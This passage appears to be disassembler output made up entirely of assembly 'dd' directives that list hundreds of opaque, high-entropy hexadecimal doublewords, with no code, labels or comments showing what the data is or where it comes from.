		dd 441D8D00h, 45E0761h,	15830331h, 7EEB6EA9h, 356A5FF8h
		dd 0BA4A4Ch, 0D32DFC9Ch, 5879AAA0h, 180045D6h, 452B7E15h
		dd 0C4008940h, 14241E96h, 39FCB1h, 8AF95211h, 19B36AE1h
		dd 0BB4BF800h, 1B9B9801h, 25ED071Dh, 60640FFEh,	0B98F69B4h
		dd 941ED200h, 6749820Eh, 6DF70060h, 64346276h, 0DA2E7C3Bh
		dd 9F0F83DEh, 0CB56C378h, 892806Dh, 5E4600EBh, 0A9D76205h
		dd 0CD38BD49h, 4A131F0Ch, 10F57380h, 0ED8570h, 59DF1B23h
		dd 65383564h, 63502200h, 477A87A4h, 99780018h, 0D9A5A6Ch
		dd 171C40E9h, 20003904h, 823F87Dh, 0E3D0F54Eh, 95F4078Ah
		dd 0FF03218h, 8138D983h, 0D6E2CCF0h, 0FE935D03h, 0D895519Eh
		dd 0C3F17Fh, 72EEEDC5h,	3D9712F7h, 75667D39h, 8980E500h
		dd 0B911F68Dh, 0C8F89Bh, 0E6FD5B73h, 0AFCE58D5h, 86A24800h
		dd 22CAADF2h, 0F8A61C2Bh, 253D0099h, 5B08F040h,	20265300h
		dd 60FFE6C9h, 0EDD1032Dh, 41D8C2C1h, 0AECA5D80h, 0AA0081B8h
		dd 3D8986A7h, 74016E18h, 43600090h, 26F0515Eh, 19009BEEh
		dd 1279BF48h, 3F906655h, 1E6CC976h, 0C20586B0h,	0E2CEA0EEh
		dd 0C5049D80h, 38F6EC23h, 4A00A491h, 29B46089h,	0CA075730h
		dd 3F4EBA37h, 98F19EF3h, 105A98Fh, 0B75B7AA4h, 20C453A7h
		dd 2F002E1Fh, 3C343E46h, 0E2010771h, 598D0056h,	293A4BEDh
		dd 0F400CDA7h, 84642AACh, 0F75844h, 6D8B0703h, 0D9AD92DBh
		dd 6002C404h, 3AC09604h, 14C9A2Ah, 7643F13Dh, 0CC6ACC71h
		dd 21001C7Dh, 5B6F6405h, 3D7E5479h, 0AE58BF31h,	0E8DBAB00h
		dd 0DF6B59C1h, 69C3BE00h, 9912C05Dh, 7977C8h, 0DCD6C4F3h
		dd 1A590491h, 3C78D200h, 46CCD4E2h, 0AC6E0093h,	60930CAh
		dd 6700C0F5h, 5A0916Ah,	4245A5h, 0F8EAB00Dh, 3FBC8C1Eh
		dd 18345E00h, 6589ECCAh, 1F66B89Ah, 4040C1D3h, 0BAF00754h
		dd 0D900BD7Dh, 0CDD2D7FBh, 3A348Dh, 5BC5C76Ch, 0D04FE3BCh
		dd 0D7D9F300h, 193FD879h, 212B007Ch, 782A10D1h,	63002E30h
		dd 0C929E889h, 501373h,	4DC4F29Ch, 0E702467Dh, 0BBD2D60Ah
		dd 7100EB70h, 0A3046294h, 8F490024h, 52E4E321h,	0FC0190DDh
		dd 9B39263Ah, 0C5DCB5B4h, 0E75FCC6h, 0C85693D3h, 5F147B20h
		dd 0FF03E789h, 0D058C381h, 84C0A5CFh, 0F40A51Eh, 0CBC88F6Eh
		dd 0DB496BA1h, 1C3DD48Dh, 22009C71h, 20A0D718h,	7873775h
		dd 596A1692h, 7D6D6055h, 0C53BAF70h, 22D20067h,	0F006D71Ch
		dd 0ECDA003Bh, 0C7B42A1Ah, 0A11FFBC1h, 0C427CF8h, 6034E73Ch
		dd 0AD0800h, 0EC2EF2E0h, 6D32FC38h, 0A467E600h,	749F30FEh
		dd 3699003Ch, 6AC3AF72h, 0FC0040ABh, 735971A9h,	3C4B763Dh
		dd 100059Dh, 0B394CF2h,	0BE008086h, 0E519E035h,	984F8B76h
		dd 0AF7C013Fh, 932BE11Ah, 607FF247h, 0E298253Ch, 6C030353h
		dd 0C35EEF69h, 0F7A0C2D3h, 61F0704Eh, 0FACD9000h, 3E55742Dh
		dd 0BB773A1Ch, 0E7F46800h, 6E319820h, 0B51EDE00h, 2874EB5Dh
		dd 87ED0010h, 1D5B1C12h
		dd 5F0E952Dh, 839A96B8h, 0B0CD88A6h, 0E84E9Ch, 0F709782Fh
		dd 55F9BF7Bh, 1D9023Eh,	3ECF20B4h, 0C4EC298Ah, 9DD10E66h
		dd 42403028h, 0D7B4C3AEh, 51BCCF00h, 0C06332E7h, 0BFA807BDh
		dd 806A8853h, 33C6B60Dh, 848B8E0Eh, 7FA96016h, 0B845B5h
		dd 42E7A29Fh, 0E991DF9Dh, 17105E00h, 18658239h,	0ADC6001Ah
		dd 0AC31A836h, 480099C3h, 0CC44CFBh, 5BCC6Eh, 0F92ED6CEh
		dd 204A67A5h, 0E98C4503h, 904EE3AFh, 23F182h, 84B9ECEEh
		dd 0A604F267h, 4889D907h, 0CC403D63h, 91DD78h, 6A7EB1D8h
		dd 6085C924h, 0D3E64A00h, 59125EEBh, 0F96100D4h, 0F439FD23h
		dd 0E0004617h, 4492C3C7h, 0A3359Bh, 9D8CC668h, 70772D86h
		dd 54396500h, 958A8033h, 0C272A5h, 8E264FCEh, 19D80CD4h
		dd 0FC531207h, 0E370E8E1h, 2025A2h, 70165823h, 0D9CD1D7Eh
		dd 0B004BFAh, 8B91E9F2h, 32B4A21h, 0EF246BF7h, 56A914EAh
		dd 672DF40Bh, 0C31F9600h, 0A430F7F2h, 5E240011h, 3B19C80Eh
		dd 0E20E158Ch, 200A64E4h, 63A455B4h, 4539002Eh,	3DA8537Eh
		dd 4816593Fh, 8A0037FDh, 8D1B726Eh, 0B7F880h, 8433D13Ch
		dd 4BE959C5h, 47793576h, 0D3B98200h, 0ED9D815Ah, 0A380058h
		dd 0AF789093h, 8001BC6Ah, 84513B36h, 0F02096A1h, 0EF2B009Ah
		dd 490D712Ch, 7F00F21Bh, 6D18FB33h, 777ADE4Eh, 29E834h
		dd 6A4DA2BAh, 0AE3C892Fh, 19A30D03h, 0F0D1863Fh, 1477EDh
		dd 1F6C9C6Dh, 0BBF5559Fh, 4A1E6703h, 0A003F323h, 0EDBD46h
		dd 1B2F99C6h, 69F5B6B9h, 94257E00h, 0D132113Bh,	1279AAh
		dd 0D5A25B54h, 63374605h, 0FCA9900h, 5C6FCF2Dh,	3F590019h
		dd 40C9F067h, 0B63DA785h, 13D8047h, 74C73A79h, 87BD00A8h
		dd 0B304CA90h, 78009CA2h, 651C5F92h, 22C397h, 284A836Bh
		dd 0C5D260A4h, 5450FC01h, 34068F8Bh, 0FADBE8h, 5CEFA76Dh
		dd 0B7BD24F6h, 0B0AC000h, 506F0A2h, 0CCCB00C6h,	82C46614h
		dd 7439542Ch, 4DB4813Fh, 9BECAF0h, 7731DF0h, 0F871F94Bh
		dd 251E8041h, 8F00A21Fh, 0B4786B17h, 0FDA47EF2h, 26F230h
		dd 655124C3h, 78280215h, 0E703FC79h, 662BE4C9h,	4C24C059h
		dd 0A2A90382h, 91607AF2h, 0E9D532B8h, 2F011C7Bh, 53ABB6BBh
		dd 0EDC441FBh, 1285004Dh, 4C737669h, 87EE7F9h, 0F01D3801h
		dd 823C7B6Ch, 0B907ECh,	0B31651C6h, 678861F1h, 0F76FCA01h
		dd 594DA7FEh, 1820C3F9h, 0B47118h, 92221461h, 0F1401CB9h
		dd 283D400h, 901A9D9Ah,	5C96EC68h, 0D1008F91h, 70EAB38Bh
		dd 13005A88h, 6855C524h, 0FAA19A90h, 0E21426B9h, 4A6E0049h
		dd 17A0E4D8h, 0B6CF0500h, 0A550EFDAh, 0A7E501CBh, 0C389531Eh
		dd 0E932C004h, 22239900h, 0F8C2F75Ah, 514B000Ah, 0AA358E36h
		dd 3D00FDB9h, 4DD7905Bh, 0ECFC52ECh, 36D4004Bh,	8E77DAC0h
		dd 0ED06A78Fh, 1CFE1D35h, 29DC03C0h, 4B8BF0BCh,	0B1D0D08Fh
		dd 3900F5CDh, 0B33A25Fh, 4931ACh, 9082B330h, 240CEBA7h
		dd 0F6FF3D00h, 4D50DBE5h, 997B006Eh, 3EC196Bh, 220E83C3h
		dd 2094CFB4h, 683AB1AEh, 0C6DC0070h, 5595CBA4h,	0E9008999h
		dd 0ED710B3Eh, 7237A309h, 3F95B872h, 0D80F9FEh,	9679337Ah
		dd 62014CFCh, 8BA96E69h, 9FE42190h, 4DB70078h, 76606BEAh
		dd 0AC0059C3h, 164EC07Fh, 55C721h, 3996F714h, 22502C52h
		dd 4789DD00h, 0FD8E07DCh, 0C21C002Eh, 987C133Ah, 0AB00141Bh
		dd 0A688EB36h, 2ECAC57Ah, 8962F8h, 8C93084Ch, 290084C9h
		dd 0AF7DEB87h, 0DB2F4Fh, 0D2C0CADAh, 94AE1777h,	0F078FA01h
		dd 0B4158221h, 8F58CCh,	0C567B03Dh, 0CA372E88h,	2DD94E00h
		dd 0CF6ABC01h, 1AC900E2h, 6D49D0FFh, 5D00A677h,	0ED2C28CBh
		dd 0F0DC2Eh, 0C28B738Ah, 0BBBFC855h, 229D1904h,	1A8088CFh
		dd 0E45F75h, 651FA3A8h,	70C71ADh, 0B8773D00h, 0F3BE7DEDh
		dd 25961CE9h, 0F820DF2Ch, 29898107h, 51A5E0B7h,	787E4868h
		dd 0E172D000h, 4511A9CBh, 0BFEB00CAh, 902CA533h, 7E03FA2Ah
		dd 3C2201DEh, 0E948F1FDh, 0F5910C4h, 0B14390E6h, 0E1206CCEh
		dd 3CF67DD3h, 2BA66400h, 0CA08D031h, 5C5E7930h,	94000132h
		dd 0C21788D5h, 0DD005975h, 5DAB6779h, 7027B5F7h, 0C477000Fh
		dd 1D96C6CDh, 3090E564h, 0FE6BD500h, 1821F449h,	0F6A80E1Eh
		dd 13803138h, 205E2767h, 76AFCC00h, 54D82423h, 0A5A238B7h
		dd 4C10A300h, 0E49CE02Ch, 1C90E500h, 9F807D26h,	0A95B00FBh
		dd 8CE6DEAh, 0F0004299h, 60957571h, 598EEh, 0C9A65C8Ch
		dd 1586103Eh, 0F8482800h, 24D6C44Dh, 0BFC700FAh, 0F7D96862h
		dd 0CF007555h, 0B0C97D1Dh, 33E2EF4h, 20926C97h,	7BF8D785h
		dd 0EF244C5Dh, 41247A90h, 42791700h, 3DC0760h, 0E193DE76h
		dd 9780F756h, 0A1008B38h, 4399DF16h, 1A594Ch, 5114B33Ch
		dd 138A49F1h, 0A96BBB00h, 92A64BCh, 0E32B00DDh,	23D92299h
		dd 0D7002CC4h, 0D1FC7C8h, 2450423Ah, 61BD35h, 2961CBF9h
		dd 0D40E7783h, 2FE09922h, 5219C027h, 6A0F17h, 0F9BD725Ah
		dd 0E69EEF02h, 4A478D00h, 0E76E607Ch, 8ADD0038h, 40E976B9h
		dd 49004D27h, 0EDCE9ECDh, 397A71B4h, 0AB9D3EAAh, 5911C0D3h
		dd 0DB30EAF7h, 0FE008BB0h, 0E846D6EDh, 0A1F8DAh, 239E51E2h
		dd 0A352589h, 559D5C0Eh, 0E8F8203h, 0D467E0B2h,	0C9380007h
		dd 84C7085Bh, 7C039B92h, 6DB32B5Eh, 7987B842h, 8BC801DBh
		dd 8AF12E46h, 0BE25DCCAh, 0AD35EA00h, 0A010BAB9h, 0B8760086h
		dd 0A8D5F30Eh, 7B00586Eh, 457859E1h, 199C50h, 25EA2971h
		dd 0B1851A5Ah, 0A8F9FD0Eh, 0FEAAE05Dh, 7267F3Dh, 7389BC5h
		dd 0DA601EA7h, 41715D57h, 86B5D000h, 0F11F27BAh, 4B62036Fh
		dd 12CDC6E1h, 6655DFA0h, 0BA6EC500h, 0DD31A0B2h, 0F9D90065h
		dd 0B927A574h, 0C1000637h, 4DE7E9EFh, 7B498064h, 0F7788Bh
		dd 29BAB851h, 17BCDB9Dh, 4843407h, 0A780D524h, 5BDAD7h
		dd 0F691D1EAh, 40CB7D2Bh, 0E4681C00h, 394D84C8h, 0FCE501BEh
		dd 918621A1h, 29B670A9h, 7B2A2F01h, 0C3EADBF0h,	0DA401021h
		dd 0A8A3EFh, 2A7C88E6h,	91948CE0h, 80109A39h, 0A0AEE249h
		dd 0B183187h, 0A67AA963h, 14B78300h, 0DE24C361h, 7224DC79h
		dd 4E815B1Ch, 0A13A3921h, 5785F0h, 0E74F87D4h, 49779361h
		dd 599DB801h, 1FBDEF75h, 0D6B560h, 25BAAC5Ah, 6A575B43h
		dd 0C88BF200h, 134DC9CFh, 0B6D00062h, 75B5F6A4h, 5E7B2A10h
		dd 96A52B00h, 26FD2CB4h, 91980046h, 698C6252h, 5E074478h
		dd 0CC4F4912h, 616E2120h, 0BE2E0092h, 0F4B2E655h, 51009BCEh
		dd 0F1D21A30h, 74A2E939h, 0B5421681h, 7F591CECh, 27EDAB9h
		dd 17D1974Ah, 0D7C05E46h, 0BE032788h, 23BDAFB2h, 0EACCF92Ah
		dd 9358530h, 27EB08Dh, 0F7324300h, 0A4381640h, 700F735Dh
		dd 20FD297Fh, 28614D2Ah, 0CA1A2CC2h, 0D1810E40h, 0C1048C0h
		dd 0DD00A7F9h, 13D49C80h, 1F647121h, 0C0C0456Ah, 7BE0305h
		dd 0FA000AF4h, 7186B427h, 0DF299Fh, 53BDA96h, 2675541Bh
		dd 0A0590300h, 130F717Dh, 819C0022h, 9DD02F2h, 1D00EAAAh
		dd 0A9D105E7h, 0E8F146FEh, 0EC66005Fh, 0EA4A1F24h, 625050F0h
		dd 2E00398Dh, 0D4F5C9DDh, 0A990B2h, 0D418BBEh, 0CB88787Ch
		dd 0A6DED900h, 0D583B8CEh, 0A77EC359h, 29800E63h, 19009FDAh
		dd 6066982Ah, 7C516580h, 0AABB000Dh, 0C058F510h, 0B2008448h
		dd 0E4B6D205h, 3BB753h,	0CD1B2EEBh, 6D0FE163h, 0BDB56203h
		dd 0F084303Ah, 0A225C0h
		dd 22E4E87Ah, 217265B3h, 78FBD401h, 0EAEDE15Fh,	7469ECh
		dd 0CBB7EC48h, 59544BE9h, 16F60F00h, 0C4C067E8h, 5CCE0101h
		dd 0DB403AEDh, 0E62E80F8h, 0AAD9771Ch, 0BFB1D3Fh, 874D8039h
		dd 82489C97h, 0D8320F00h, 8FDC777Ah, 0F6F303F9h, 0B1624F09h
		dd 0D2BD5598h, 17EA3Ah,	9093B05Ah, 30E47D1h, 802229EFh
		dd 36E0AB88h, 277AC6B6h, 0A37E000h, 4E54F243h, 13E648h
		dd 9D9EE14Ch, 0CCE32752h, 0F3179C01h, 0FBF2BDBAh, 3C3B95F4h
		dd 0AE0061F9h, 0A42FB1A2h, 5E008008h, 9DF27D5Dh, 32DD14Ch
		dd 0FD0BFE9Fh, 0EFC06314h, 0DAE63FD4h, 0EC2FF500h, 38512DE3h
		dd 4CF312CDh, 0C2DD07A2h, 0F2ACB074h, 0B826DDFDh, 6A008024h
		dd 0FB52714Ch, 170124DAh, 9CAB00ACh, 901C9DFCh,	0F900D3E2h
		dd 81C77E31h, 0D3F66h, 65703B27h, 15FE3375h, 0A97CCE1Fh
		dd 0DE369E40h, 7BEDBAEh, 6E52BBB8h, 1B2BA044h, 0ED005443h
		dd 87193CC8h, 18E820h, 39B35BD7h, 0E58B7A44h, 9E352900h
		dd 0DCFEE23Ah, 0D2F6A7h, 88EFFC45h, 5470F8A1h, 0E5834400h
		dd 718C757Fh, 0D41A508Fh, 0FA810019h, 0DF4336EEh, 8800E1CAh
		dd 0F48BEA9Eh, 5A9AE0h,	6E2C4D3Ch, 465E26BBh, 21B40D00h
		dd 0EC566AFAh, 6C7634h,	3E33BCDh, 0EBFF02B1h, 0F630E7E0h
		dd 0C31FC08Bh, 0A6B800D2h, 268A7A8Dh, 0EC00FE8Fh, 67063985h
		dd 71E54C56h, 1DAA0FD4h, 5A7E686h, 91816089h, 4E009B76h
		dd 6C24F6C6h, 0EACB3B5h, 0FBE43073h, 0F7C722C0h, 0C1002311h
		dd 5CA9289h, 67508Eh, 44C3A6DCh, 0B27DC931h, 620FFAE6h
		dd 804C2939h, 0B90682CEh, 19A700AAh, 5DD1A23Eh,	0D89F5AFBh
		dd 1A7A006Bh, 0DBC6563Fh, 0E400AC4Eh, 819A126Ch, 507D1520h
		dd 7916E584h, 9B551C23h, 91BB4014h, 57ABCCAFh, 17D7EE00h
		dd 0E6C9BFA9h, 20EC89h,	76E98F4Fh, 80B56F4Eh, 71C8500h
		dd 0C1A652D0h, 0DCEE001Bh, 184C41FEh, 2D3CD98Ch, 224F80BDh
		dd 5162D63Fh, 0C9DA0093h, 8E9252Eh, 730004AAh, 1687DC18h
		dd 0A5A09Eh, 4F3F9D91h,	46A8FFEFh, 2B08D500h, 6DB85B2h
		dd 0FAE2B0h, 0A10DB476h, 2E7AFD33h, 0AD5B3Bh, 929E5A0Bh
		dd 677B2C4h, 1B8DB08Bh,	39002430h, 0D3A6CFF9h, 7AE8DF65h
		dd 0B0840068h, 0E5296A94h, 0EA58E0C8h, 84372450h, 0A81DBD00h
		dd 980F3C9Ch, 726A00B1h, 0CC7A1150h, 15EAAFC6h,	0B47D6700h
		dd 49014DA8h, 3C930053h, 0F8D85281h, 0D28148Bh,	5F75E871h
		dd 80FF483Ah, 9B3C0B07h, 0F8E2D816h, 0F0E700BAh, 71BD7022h
		dd 510E4A5Ah, 391F0Ah, 105F0E9Eh, 7EFD00DBh, 0D993D467h
		dd 0D57CCC87h, 7D880600h, 2080B6A2h, 14541E5Ah,	0BB0DC002h
		dd 3F74D6B0h, 6EDAD400h, 0DC9C3928h, 0E64E1E67h, 6D424017h
		dd 60FEA1FAh, 0E8D84A02h, 0C0F4EF6Ch, 1C0F0B0Ah, 0E404778Ah
		dd 82DD00D2h, 0D046E29Fh, 41EA4C00h, 27C5C01h, 0F1CE008Bh
		dd 0D53F08BAh, 0BBA01243h, 71071195h, 0F43CF86Bh, 81B3CD80h
		dd 233B3A7Fh, 0AD3FA481h, 0D486E8B2h, 0E2A0EA20h, 6A0F5E1Ch
		dd 0E05781CDh, 7E9E535Bh, 0D2E8ACh, 5987B371h, 9466AFBCh
		dd 0A8C3200h, 0B6A87A84h, 2643004Bh, 12204AB0h,	800A23Dh
		dd 1E183360h, 31FCCEh, 0AE210589h, 556967DDh, 7B00EFB0h
		dd 0AD973439h, 71BA97Eh, 0D41E860Dh, 0FE7730F1h, 4B00AFABh
		dd 5A54263Bh, 44E747h, 0A650AEB3h, 0B23C6685h, 0A91EAD00h
		dd 205389B1h, 39FA0E73h, 82206EBBh, 6A9A385Dh, 6936061Eh
		dd 0B4895CC0h, 97020Eh,	4FDEF519h, 43F723B6h, 9E9D5300h
		dd 0A6067A7Bh, 0A973006Bh, 1CAECEF0h, 570004E0h, 0C78A2A76h
		dd 0A83212h, 8EE1B8ABh,	0CA2E72F8h, 0C095EC00h,	0F59DE3FBh
		dd 0AFEA0F97h, 58209FD6h, 95C28982h, 0C75A5600h, 6CB08E9Eh
		dd 30603B2h, 7141F11Ch,	8A12DE90h, 0F894C01Fh, 28CC7B40h
		dd 3AC5F73h, 0FA52F972h, 1C1A4A5h, 7FFCE0E5h, 2E180E00h
		dd 0AA851EEh, 290600E6h, 146D7537h, 8F14B54Eh, 91E96Ah
		dd 0F1610ECFh, 7E4F3C02h, 24CD00B8h, 0FDB428B3h, 0A73A72C8h
		dd 880700BEh, 35BA2A5Eh, 3063009Fh, 64D2E52Bh, 3600928Ah
		dd 0AE139FFh, 0EC06B42h, 78DF172Dh, 80FD3767h, 0F1B4D976h
		dd 0A249D400h, 1006465Dh, 5F8200B2h, 41616C6Fh,	9A00805Ah
		dd 68303888h, 837EEAh, 8BB23432h, 0C49C1BDAh, 5B94E100h
		dd 2BA2F0E3h, 0D7BA0787h, 60BEEB07h, 39CF19D3h,	2A26A013h
		dd 1CD93900h, 94254Dh, 1F85C4B4h, 21B357F3h, 5319B50Fh
		dd 97003C02h, 862C7C09h, 0BB450061h, 25899A92h,	1000A6A7h
		dd 0D367595h, 38F3A54h,	8657BE83h, 0F0B86E9Bh, 0DD006AD9h
		dd 0F57AC35Eh, 16EED29Ch, 0FFF37B8h, 42065F1h, 90AFF1A7h
		dd 1E94D700h, 4D2A3C3Bh, 4895ECCBh, 1C000532h, 99F5E10Eh
		dd 64F61682h, 5F77EE00h, 3C554C14h, 0E8410784h,	43A72AC4h
		dd 0EAA8A029h, 1303239Ah, 1B6EFF73h, 0B34A885Fh, 75E40731h
		dd 40110AD2h, 0F0EFF2EBh, 89992128h, 32711E00h,	0CD2FC052h
		dd 2737000Eh, 11ADFAC3h, 3903DE48h, 1E9CA75Eh, 4A61B04Ch
		dd 71F00097h, 5FDF9DC2h, 5C0017D2h, 8D587CCAh, 5E4330h
		dd 680133D5h, 0CF6F2305h, 0FDEC2B00h, 58F3E269h, 1507A80h
		dd 4F5FE934h, 0ECC012D0h, 940004CCh, 0C30377Dh,	9AB9B4h
		dd 49036B0Bh, 0FFE2D0C8h, 3F00E67Eh, 0FBF471DCh, 1BA517h
		dd 0C6BA6480h, 0BE82ADEAh, 0E100657Ch, 73877077h, 3966743h
		dd 0CC606157h, 97CA8F48h, 4A7A7CE0h, 0D7D5E000h, 0B39F80E6h
		dd 0E5A20093h, 2E929C13h, 5300A9FCh, 9392606h, 0E6E66CEh
		dd 0EDDD11A3h, 8D20CFEEh, 0AAFAE759h, 5406807h,	4EA3297Eh
		dd 60508206h, 4897FDh, 0ED64A95Bh, 539F1EB4h, 0FE445200h
		dd 1933F84Dh, 94C300F6h, 4C28688Dh, 7CE66E13h, 3A83F500h
		dd 27648ABCh, 0E435C75h, 0FEBE6D00h, 823E25D8h,	5C65CD03h
		dd 0F8723C34h, 2421B9h,	0A620EA36h, 8C331555h, 0E8D4FA0Eh
		dd 0C00F816Fh, 0F6C0AB6Bh, 398A01ADh, 0C50E7766h, 8D92F781h
		dd 46373560h, 79335700h, 60E520C6h, 14C10042h, 664C8BEDh
		dd 0FC2EB561h, 43037CB2h, 0D05DDC7Dh, 1DEB47Eh,	45C09241h
		dd 0DBE2B5ABh, 0A45CA2D8h, 2B205D0Eh, 8BE980F2h, 39C41B1h
		dd 57928108h, 29A8043Ch, 6BFE72EDh, 3A438700h, 0D87755ABh
		dd 9F9B0014h, 0AF7428A0h, 0C2007247h, 61DF8D98h, 1DA05FBh
		dd 14A4AA63h, 0CF168578h, 0F355F0EFh, 0F9009280h, 60E88241h
		dd 37CBC0h, 566E5F5Dh, 0E127EE88h, 0B687B00h, 0A84D4B66h
		dd 0D9E41F1Ch, 1503FFE8h, 22560FF0h, 0ED3F5FF8h, 0D40D2B03h
		dd 98D2659Eh, 0CDDD78h,	7C4A7E2Eh, 0D0DB38E6h, 3C6FA001h
		dd 5E1B2C08h, 26278970h, 6931B6h, 0DE659AAEh, 0F701BF51h
		dd 49F17E71h, 4CE86478h, 6BE13ED2h, 76831780h, 0EEC927A3h
		dd 6DAF9E0Fh, 58AB8009h, 854ED1h, 0FDFE8C99h, 8BCE5BC3h
		dd 2B000598h, 0C225CA8Eh, 0AB576Bh, 685D279Fh, 0E495A41Ah
		dd 65921100h, 0CDC6243Bh, 0D79F0FD4h, 0B421EB9Ch, 4071407Dh
		dd 1A5B64B6h, 0F3F7DC00h, 744EF60h, 0B97A04h, 0F5480A27h
		dd 8F010F9Fh, 0DEDB3700h, 5492DD3Eh, 78347351h,	25B62472h
		dd 6A3C00A0h, 0BF820452h, 32A49800h, 0EF9721F4h, 79819869h
		dd 3107011Dh, 33AC081Fh, 4FE0DC09h, 0DF5ADB00h,	2875930Ch
		dd 4CBC43h, 0F8407083h,	0A0034FCBh, 5C18F051h, 4063BADCh
		dd 0D3CF1Bh, 0E0DA7D65h
		dd 52C9C7BCh, 0E77B272Ch, 4CF2A400h, 7D5E5A8h, 46D659EAh
		dd 81BAA018h, 0DE00BDC1h, 0A8E242FAh, 9EB7CAh, 62E11A6Eh
		dd 4E38A427h, 52B07D77h, 2FF35300h, 7B123AB7h, 67D43BBCh
		dd 0DD804A00h, 0F3BA0241h, 0EB153E00h, 6DBFFDD5h, 48E92C01h
		dd 0C2191C44h, 7057E574h, 80C56277h, 5EED16CFh,	3E089022h
		dd 12019540h, 32FE2663h, 0B446030h, 84819D00h, 676FBAFFh
		dd 270F004Bh, 268FDF97h, 0C83D82BDh, 719F007Dh,	4E056E73h
		dd 0BF8A00FAh, 235CAC47h, 3E00C87Eh, 0DC02EFD7h, 51853Ch
		dd 0EE92B9CAh, 6FFA9AF4h, 93442503h, 0E87C8DF7h, 0B5624Ch
		dd 0E1F2D841h, 9141D78h, 946F0407h, 1A61BBD6h, 6121F919h
		dd 6ADAC4h, 761BC185h, 92E12364h, 8BE4BB00h, 0BA3A5C0Fh
		dd 22413B33h, 65DA1180h, 0CEBDF988h, 304F58h, 19FE5026h
		dd 7B645F9Bh, 0E01D0049h, 6AC7E912h, 17071C25h,	0A37756F0h
		dd 0CB939070h, 0B6C9000Ch, 0D4792C45h, 0D9001469h, 6E7CCD0Bh
		dd 1E2F3F80h, 80B50EB3h, 91D36561h, 2D0052A7h, 0D9DE8FFBh
		dd 1CEC99Ah, 43EF1003h,	0C82B164Bh, 0E900A9C3h,	0B686381Dh
		dd 1D4F3D2h, 0FBD8B472h, 70F21346h, 0F7383FD5h,	75FA0189h
		dd 0AD7D7097h, 0CBBDCCh, 17A490D2h, 63D7B1FEh, 67C42314h
		dd 0EDCD00E0h, 0DFA8DA4Ah, 9B7CFCh, 0B28E78F6h,	24493034h
		dd 40D2B814h, 0FE2C00E3h, 0F4C3DC5Fh, 9520079h,	25388A86h
		dd 6700427Ah, 0F08EEA6Fh, 5D8958h, 0BED641FBh, 8BDF30A9h
		dd 0DC0E5E00h, 0E1F6B854h, 6DFD3BF3h, 1FE76507h, 5D3A7038h
		dd 0A83D7284h, 2B49008Fh, 869B7E42h, 65661711h,	6C7F0E1Ah
		dd 0F040F88Fh, 9A7BCE9Fh, 15F98401h, 51D1DEA3h,	0A247F4h
		dd 2679F877h, 955F38AEh, 75082000h, 0D8EE531Bh,	922900D9h
		dd 0CFED836Eh, 0F43A8889h, 76482Eh, 4552E8C4h, 0D63811h
		dd 9B98E7D8h, 0B5CDC8D3h, 0DAB48530h, 0B6257h, 98007D6h
		dd 943EABDAh, 1CFDD700h, 4CE9CF67h, 0CDA80073h,	0F1FE413Ch
		dd 1D00C77Eh, 0A58B5D9Ch, 6075D9h, 4D8AE0FCh, 0A215EC39h
		dd 4C70130Eh, 55F3A089h, 0B0809Eh, 2102E197h, 8F9CC85h
		dd 3DA8EB50h, 0FFB2D000h, 13FE48FBh, 314D00AAh,	37EF05C7h
		dd 43001BF7h, 4FCD4EADh, 4F1EB1Ch, 7ED6C832h, 79B38006h
		dd 38007BA0h, 0F9547283h, 90218Eh, 10073189h, 6D75C07Ah
		dd 0DD465005h, 3C80536Fh, 0ED7F0Fh, 0FD496AE9h,	66258C73h
		dd 6975E207h, 0D9A0CE24h, 6A0C13h, 0E563A18Dh, 95EB716Ch
		dd 29D4280Eh, 84140E9h,	24911Ch, 9D0ECF62h, 6E450402h
		dd 0CD71DF00h, 0DB359F83h, 13E7F2Ah, 1DE902Ch, 0F044C9D3h
		dd 480012D5h, 142798FBh, 0DBF73Bh, 87E62283h, 783F63C9h
		dd 3C7F11Fh, 0F880AC0h,	5DBA79h, 0B1EAE2D4h, 8E08996Fh
		dd 2D71A04h, 0C5807EB8h, 72C6DCBh, 0F879680Dh, 0E9471366h
		dd 0A3B042BBh, 9900B06Eh, 0DF439F97h, 1858E3Bh,	0C4622BCBh
		dd 0E4F19691h, 6500F41Dh, 9D809ADBh, 5FB1F5h, 3CA86B89h
		dd 7A535426h, 1ABABC00h, 15AF2529h, 877C36h, 756241C1h
		dd 6BFD1B37h, 7713F00h,	4AEE95F5h, 0F88100EFh, 5C6DBDF0h
		dd 1A00302Eh, 456E8F18h, 1D054AB7h, 17E3309h, 694E6BBFh
		dd 6C693072h, 6EF3F500h, 75358489h, 6BAD0193h, 0E7FFB488h
		dd 0D881D52Eh, 4278D639h, 36DC5E00h, 0DCFD850h,	0EFFD03F0h
		dd 1EDF7295h, 0CD23FCD0h, 9B04B800h, 0E394548Ah, 39E0EE14h
		dd 280B3A8Ch, 11007F32h, 0C220787h, 8096C53Eh, 0FDA17110h
		dd 69B8F46h, 82AD89Dh, 203FE606h, 1F08A13h, 5801997Ah
		dd 0B29B025Bh, 4644FCh,	34BCE13Fh, 0AC7CA9EFh, 29361E00h
		dd 1BA379B3h, 14F000CFh, 61315F9Fh, 9D00C2FAh, 0DB3285A6h
		dd 0F6D7980Bh, 0D3C700B7h, 6D20343Bh, 0B300138Ch, 0E47F16ABh
		dd 1AC1E5h, 0EA4D3FBAh,	500F2A89h, 2C49990Eh, 0A669808Dh
		dd 0D0A9EEh, 3C9A05F1h,	0DA6370C5h, 4A0250Eh, 2D4B40F5h
		dd 7A3F16h, 11491D0Fh, 0B0E0B6DDh, 0B974EF0Eh, 0A78EE0AEh
		dd 0B7E4F1h, 0ADDAF335h, 1627F24Ch, 0CB9BE900h,	0D4C9E6BEh
		dd 0F526003Ah, 17068D7Eh, 2501C63Dh, 0AED5300Ah, 2CDC7BEBh
		dd 2EEC24h, 0C79A8552h,	0E9566544h, 0F5F90E00h,	0EE7A72C5h
		dd 59510645h, 9A6C1116h, 0AC57E101h, 0BF5FF6CCh, 305866E4h
		dd 0C3769F0Ch, 0F40040EDh, 5A96E8D3h, 0B2FA4h, 9E237F44h
		dd 49C81647h, 0E195CC00h, 61B028A0h, 0E27872h, 88B5A264h
		dd 92B8E938h, 1348AE90h, 21D5002Ch, 813A10ADh, 3D7FBFh
		dd 0A3261887h, 0C3D9DA8Fh, 0EC2ACF00h, 0EA5E1C1Bh, 0ED7E00A2h
		dd 9E84B05Ah, 0E60072DAh, 0BA0A1DA4h, 96E90h, 0F1C6563Bh
		dd 0D31779EFh, 7607F40Eh, 277D608Eh, 0A5C306h, 0D77A97C2h
		dd 1C8B66CBh, 9B78180Fh, 12FF00CFh, 0B398FB6h, 0AF3B976Dh
